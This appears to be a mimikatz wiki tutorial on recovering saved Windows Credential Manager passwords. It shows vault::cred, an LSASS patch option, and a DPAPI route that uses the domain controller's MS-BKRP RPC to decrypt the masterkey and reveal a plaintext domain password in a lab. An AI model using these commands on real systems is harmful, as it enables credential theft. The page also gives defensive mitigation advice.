howto ~ credential manager saved credentials
Clone this wiki locally
There are somes ways to get savec credentials from the Credential Manager
The normal, the standard, the usual way...
With mimikatz it's easy as: vault::cred
mimikatz # vault::cred
TargetName : genaddr / <NULL>
UserName : genuser
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : genpass
Attributes : 0
TargetName : domsrv / <NULL>
UserName : domusr
Comment : <NULL>
Type : 2 - domain_password
Persist : 3 - enterprise
Flags : 00000000
Credential :
Attributes : 0
TargetName : LegacyGeneric:target=genaddr / <NULL>
UserName : genuser
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : genpass
Attributes : 0
TargetName : Domain:target=domsrv / <NULL>
UserName : domusr
Comment : <NULL>
Type : 2 - domain_password
Persist : 3 - enterprise
Flags : 00000000
Credential :
Attributes : 0
No magic behind: it uses the standard API CredEnumerate, with Flags at 0 then CRED_ENUMERATE_ALL_CREDENTIALS to try to get them all.
Mixed with: vault::list, it's enough to get a lots of credentials for the current user (especially Web stuff).
Problem
CredentialBlob
Secret data for the credential. The CredentialBlob member can be both read and written.
If the Type member is
CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. TheCredentialBlobandCredentialBlobSizemembers do not include a trailing zero character. Also, forCRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.
http://msdn.microsoft.com/library/windows/desktop/aa374788.aspx
Workaround
So, if we want access to network shares saved credentials, RDP passwords, etc., we need to be admin to alter LSASS in order to:
- patch its logic (prevent
LSASSto check if type isCRED_TYPE_DOMAIN_PASSWORD) - this is the current behavior of the/patchargument. - inject a thread or a module in
LSASSto be seen as an authentication packages
Danger
high voltage
This operation will alter LSASS and is NOT recommended, especially when you can use the DPAPI method.
DPAPI (all the things)
a basic introduction on DPAPI stuff is here: module ~ dpapi
Like exposed in https://1drv.ms/x/s!AlQCT5PF61KjmCAhhYO0flOcZE4e, credentials are stored in user's profile.
Usually in:
%appdata%\Microsoft\Credentials%localappdata%\Microsoft\Credentials
Let's take a look
Asking dpapi module, cred function of mimikatz, you can view the "content" of a credential file.
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000050 - 80
szDescription : Données d’identification d’entreprise
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 024e83a1b7c1412251dd2718126fca84
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : e2bbe3a6e2fe7120ad9000afc3aa5ec2
dwDataLen : 00000090 - 144
pbData : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
dwSignLen : 00000014 - 20
pbSign : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
What is interesting here:
-
dwFlags : 20000000 - 536870912 (system ; )this is the "bad" new... theDPAPIprotected the blob with theCRYPTPROTECT_SYSTEMflag, preventing an unprivilegied process to decrypt the blob... (~= not you, onlyLSASS) -
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}this is theGUIDof the masterkey needed to decrypt the blob.LSASShas it in its cache, or will be able to load it on the fly when needed...
Decrypt
Naive approach
Because of the system flag (protected by the signature of the blob - we can't alter it), LSASS will refuse to unprotect the blob for us...
Decrypting Credential:
* using CryptUnprotectData API
ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; CryptUnprotectData (0x0000000d)
The masterkey
Here, thanks to the previous GUID we know that the masterkey is located in: %appdata%\Microsoft\Protect\<usersid>\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2"
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 00000000 - 0
dwMasterKeyLen : 00000088 - 136
dwBackupKeyLen : 00000068 - 104
dwCredHistLen : 00000000 - 0
dwDomainKeyLen : 00000174 - 372
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 704f7ca8be647c20dc36e8ae4127966b
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb7332e220ca76b532602f36520a3a6809fb50893c9d4ae050e0072b44fe522c8f4b4f1f610001530c4f770c76b347ea02fc7baa627efc9e1055255600
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 3afaf040c982786cfa36342d8005a16f
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f1659cd8a193a50bd809848d4dec11439e3da6bb4f66ab4b04aff3ae48e1
[domainkey]
**DOMAINKEY**
dwVersion : 00000002 - 2
dwSecretLen : 00000100 - 256
dwAccesscheckLen : 00000058 - 88
guidMasterKey : {9c71e914-1ed5-4338-8461-4dcc363553be}
pbSecret : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087ac1effacd3cfa4c94413d541f476db2179a9b7ba6b383a28b1d52b165b84d73f27395e6093b883142168c783659a7b9756a787f688154b6fda15e8d0581b1f23c44870f825fd03ee3d52652e3c2e98f946deee7b86a9b3534d210b3f53e4fe29b7ed19050c5981f186ae9f3d8d11228e83c908c2e303d17bca0d625df400731454880f6dda9a7b65afff6198c8f8e580e72bb01ce8faf0d1c1bdac662f6b29698416be99616e0311fe2043660d066c09ab5298a25fb8d911987a89491ab4ef0df529cf1aef5da0340e9da9313a50a94aea0a7010a
pbAccesscheck : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18cd96575899fa2a6f46b1f37c9ae3e63e5bb5de12151016bb0afd0efd79ddbbad6c0f36931a11503864d3bd403
Auto SID from path seems to be: S-1-5-21-1719172562-3308538836-3929312420-1104
- If you are a domain admin, the
domainkeypart can be very interesting... but here, we consider you are only the current user... - If you know the user password, you can easily decrypt the masterkey with it.
So, no solution ? Here, few questions to ask yourself:
- how do you deal with smartcard users without NTLM transmitted?
- do hippos think rhinos are unicorns?
- does a domain user who forgets his logon password lose its saved data?
RPC
In domain, a domain controller runs a RPC Service to deal with encrypted masterkeys for users, MS-BKRP
- https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-BKRP/[MS-BKRP].pdf
- https://twitter.com/gentilkiwi/statuses/746493452582526976
This service handles the RSA private key associated with all masterkeys of the domain, and is in charge to provided decryption to authorized users (the danger around this never changed RSA private key is another story, we're not admin here ;) - https://twitter.com/gentilkiwi/statuses/609890409830064129 , https://twitter.com/gentilkiwi/statuses/604408115090591744 )
As this cc6eb538-28f1-4ab4-adf2-f5594e88f0b2 master key belongs to the current user, we can certainly use it with the /rpc argument:
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" /rpc
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
[...]
[domainkey] with RPC
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the DC server
key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f60b4f05034163ff59651e4ad4
sha1: 81c99543dea591c11f20d69027ea2016d89d07dd
So sweet ! the domain controller has decrypted it for us, and mimikatz has placed it in its cache:
mimikatz # dpapi::cache
CREDENTIALS cache
=================
MASTERKEYS cache
================
GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
DOMAINKEYS cache
================
With the key in the mimikatz cache, we can display a last time the credential file:
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000050 - 80
szDescription : Données d’identification d’entreprise
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 024e83a1b7c1412251dd2718126fca84
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : e2bbe3a6e2fe7120ad9000afc3aa5ec2
dwDataLen : 00000090 - 144
pbData : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
dwSignLen : 00000014 - 20
pbSign : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
Decrypting Credential:
* volatile cache: GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 0000008e - 142
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 11/12/2017 19:58:36
unkFlagsOrSize : 00000010 - 16
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=domsrv
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : domusr
CredentialBlob : dompass
Attributes : 0
Good, we now have credentials:
- Server:
domsrv - UserName:
domusr - Password:
dompass
Without any particular rights.
What you can do?
Nearly nothing... the ability to decrypt its own masterkeys by RPC is by protocol/design... and is needed when using smartcard or when loosing passwords.
But, storing domain credentials in the credential manager is a bad practice... even Microsoft recommend to disable it... (but in the name of legacy, will enable it by default)
Best practices
It is a recommended practice to disable the ability of the Windows operating system to cache credentials on any computer where credentials are not needed. Evaluate your servers and workstations to determine the requirements. Cached credentials are designed primarily to be used on laptops that require domain credentials when disconnected from the domain.
Original text and GPO to disable this kind of sensitive storage: https://technet.microsoft.com/library/jj852185.aspx


